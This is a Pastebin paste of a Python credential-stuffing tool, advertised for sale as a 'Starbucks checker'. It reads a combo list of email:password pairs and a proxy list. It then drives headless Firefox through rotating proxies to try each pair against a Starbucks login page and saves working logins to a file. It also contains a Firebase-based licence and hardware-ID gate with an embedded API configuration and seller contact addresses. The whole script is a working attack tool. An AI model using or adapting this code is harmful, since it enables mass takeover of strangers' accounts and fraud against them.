Guest User

Untitled

a guest
Aug 21st, 2018
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.32 KB | None | 0 0
  1. from selenium import webdriver
  2. from selenium import webdriver
  3. from selenium.webdriver.support.ui import WebDriverWait
  4. from selenium.webdriver.support import expected_conditions as EC
  5. from selenium.webdriver.common.by import By
  6. from selenium import webdriver
  7. from selenium.webdriver.firefox.options import Options
  8. import os, json, concurrent.futures, datetime
  9. from tkinter import *
  10. from tkinter.filedialog import askopenfilename
  11. import os, subprocess
  12. from colorama import init
  13. import os, colorama
  14. from colorama import Fore, Style, Back
  15. import time, random
  16. from random import randint
  17.  
  18. def cls():
  19. os.system('CLS')
  20.  
  21.  
  22. colorama.init()
  23. init(autoreset=True)
  24.  
  25. def lynx():
  26. print(' ')
  27. print(' ')
  28. print(' ')
  29. print(' ')
  30. print(' ')
  31. print(' ')
  32. print(Fore.GREEN + '`.. `..`.. `..`.. `..`... `.. ')
  33. print(Fore.GREEN + '`.. `.. `.. `.. `.. `..`. `.. `.. ')
  34. print(Fore.GREEN + '`.. `. `.. `.. `.. `.. `..`.. `.. `.. ')
  35. print(Fore.GREEN + '`.. `.. `.. `.. `.. `..`.. `.. `.. ')
  36. print(Fore.GREEN + '`.. `. `.. `.. `.. `.. `..`.. `. `.. ')
  37. print(Fore.GREEN + '`. `. `.... `.. `.. `..`.. `. .. ')
  38. print(Fore.GREEN + '`.. `.. `.. `........`..`.. `.. ')
  39. print(' ')
  40. print(Fore.RED + ' SAMSCLUB k1.0')
  41. print(' ')
  42. print(' ')
  43. print(' ')
  44. print(' ')
  45. print(' ')
  46. print(' ')
  47. print(' ')
  48. print(Fore.MAGENTA + 'Noxy/wylin ')
  49.  
  50.  
  51. lynx()
  52. import pyrebase
  53. config = {'apiKey':'AIzaSyCezNa7l_a1D4HzKlK7TkBGx_hB1t2-bak',
  54. 'authDomain':'starbucks-36b20.firebaseapp.com',
  55. 'databaseURL':'https://starbucks-36b20.firebaseio.com',
  56. 'projectId':'starbucks-36b20',
  57. 'storageBucket':'starbucks-36b20.appspot.com',
  58. 'messagingSenderId':'275061560398'}
  59. firebase = pyrebase.initialize_app(config)
  60. auth = firebase.auth()
  61. print(' ')
  62. reg = input('want to register ? y/n ')
  63. if reg == 'y':
  64. email = input('enter email password')
  65. password = input('enter password')
  66. print('if you have already registered and registering again with a new email will lead to ban. ')
  67. try:
  68. auth.create_user_with_email_and_password(email, password)
  69. except:
  70. print('email and password already registered')
  71.  
  72. print(' ')
  73. resset = input('want to reset password ? y/n')
  74. if resset == 'y':
  75. email = input('enter your email ')
  76. try:
  77. auth.send_password_reset_email(email)
  78. except:
  79. print('email does not exist in wylin databse')
  80.  
  81. cls()
  82. lynx()
  83. print(' ')
  84. print(Fore.RED + 'Here we are login : ')
  85. print(' ')
  86. print(Fore.YELLOW + 'Enter your email ID ')
  87. email = input()
  88. print(Fore.YELLOW + 'Enter your password wrt your email ID : ')
  89. password = input()
  90. auth1 = True
  91. try:
  92. user = auth.sign_in_with_email_and_password(email, password)
  93. except:
  94. auth1 = False
  95.  
  96. if os.path.exists('result.txt'):
  97. append_write = 'a'
  98. else:
  99. append_write = 'w'
  100. import winreg
  101. registry = winreg.HKEY_LOCAL_MACHINE
  102. address = 'SOFTWARE\\Microsoft\\Cryptography'
  103. keyargs = winreg.KEY_READ | winreg.KEY_WOW64_64KEY
  104. key = winreg.OpenKey(registry, address, 0, keyargs)
  105. value = winreg.QueryValueEx(key, 'MachineGuid')
  106. winreg.CloseKey(key)
  107. unique = value[0]
  108. auth2 = True
  109. db = firebase.database()
  110. xx = db.child('HWID').child(unique).get()
  111. if xx.val() == email:
  112. auth2 = True
  113. else:
  114. print('send this ' + unique + ' to email : wylin1337@gmail.com or skype : noxytruck@gmail.com')
  115. auth2 = False
  116.  
  117. def randomproxy():
  118. x = len(Proxy_List)
  119. random = randint(0, x)
  120. return Proxy_List[random]
  121.  
  122.  
  123. def changeip():
  124. subprocess.Popen(['changeip.bat'])
  125.  
  126.  
  127. sam_ban = True
  128.  
  129. def kill():
  130. driver.close()
  131.  
  132.  
  133. def driverx():
  134. global driver
  135. global profile
  136. PROXY, PORT1 = randomproxy().split(':')
  137. prefs = {'profile.managed_default_content_settings.images': 2}
  138. print(PROXY + ':' + PORT1)
  139. PORT = int(PORT1)
  140. profile = webdriver.FirefoxProfile()
  141. options = Options()
  142. options.add_argument('--headless')
  143. profile.set_preference('permissions.default.image', 2)
  144. profile.set_preference('network.proxy.type', 1)
  145. profile.set_preference('network.proxy.http', PROXY)
  146. profile.set_preference('network.proxy.http_port', PORT)
  147. profile.set_preference('network.proxy.ssl', PROXY)
  148. profile.set_preference('network.proxy.ssl_port', PORT)
  149. profile.set_preference('network.proxy.socks', PROXY)
  150. profile.set_preference('network.proxy.socks_port', PORT)
  151. profile.set_preference('network.proxy.ftp', PROXY)
  152. profile.set_preference('network.proxy.ftp_port', PORT)
  153. profile.update_preferences()
  154. driver = webdriver.Firefox(firefox_profile=profile, firefox_options=options)
  155.  
  156.  
  157. def login(username, password):
  158. try:
  159. driver.get('https://alexa.starbucks.com/?state=&client_id=starbucks-alexa-skill&response_type=code&auth_code=&redirect_uri=')
  160. driver.find_element_by_name('username').send_keys(username)
  161. driver.find_element_by_name('password').send_keys(password)
  162. driver.find_element_by_xpath("//button[@class='btn gold']").click()
  163. delay = 5
  164. import time
  165. try:
  166. wait = WebDriverWait(driver, 5)
  167. wait.until(lambda driver: driver.find_element_by_class_name('error'))
  168. print(Fore.RED + '[BAD] ' + Fore.YELLOW + ' %s:%s' % (username, password) + Fore.RED + ' Invalid email address/password')
  169. except:
  170. if driver.current_url == 'https://alexa.starbucks.com/':
  171. print('Changing proxy .......')
  172. kill()
  173. driverx()
  174. login(username, password)
  175. else:
  176. print(Fore.GREEN + '[WYLIN/NOXY] ' + Fore.GREEN + ' %s:%s - VALID CREDENTIALS ' % (username, password))
  177. emailpass = username + ':' + password
  178. total = '%s ' % str(emailpass)
  179. y = open('result.txt', append_write)
  180. y.write(total + '\r\n ')
  181. y.close()
  182.  
  183. except Exception as e:
  184. login(username, password)
  185.  
  186.  
  187. def main():
  188. global Proxy_List
  189. print('LOAD PROXY LIST : ')
  190. proxy_file = askopenfilename()
  191. Proxy_List = open(proxy_file).readlines()
  192. driverx()
  193. print(' LOAD COMBO ')
  194. cls()
  195. lynx()
  196. filename = askopenfilename()
  197. with open(filename) as (f):
  198. credentials = [x.strip().split(':', 1) for x in f.readlines()]
  199. for username, password in credentials:
  200. login(username, password)
  201.  
  202.  
  203. if auth1 == True:
  204. if auth2 == True:
  205. cls()
  206. lynx()
  207. print(Fore.GREEN + 'WELCOME, WYLIN v1.0 STARBUCKS CHECKER : ' + Fore.MAGENTA + ' SUCCESS ')
  208. print(' ')
  209. print(' ')
  210. print(' ')
  211. print(' ')
  212. main()
  213. print(' buy it ! skype : noxytruck@gmail.com ')
Add Comment
Please, Sign In to add comment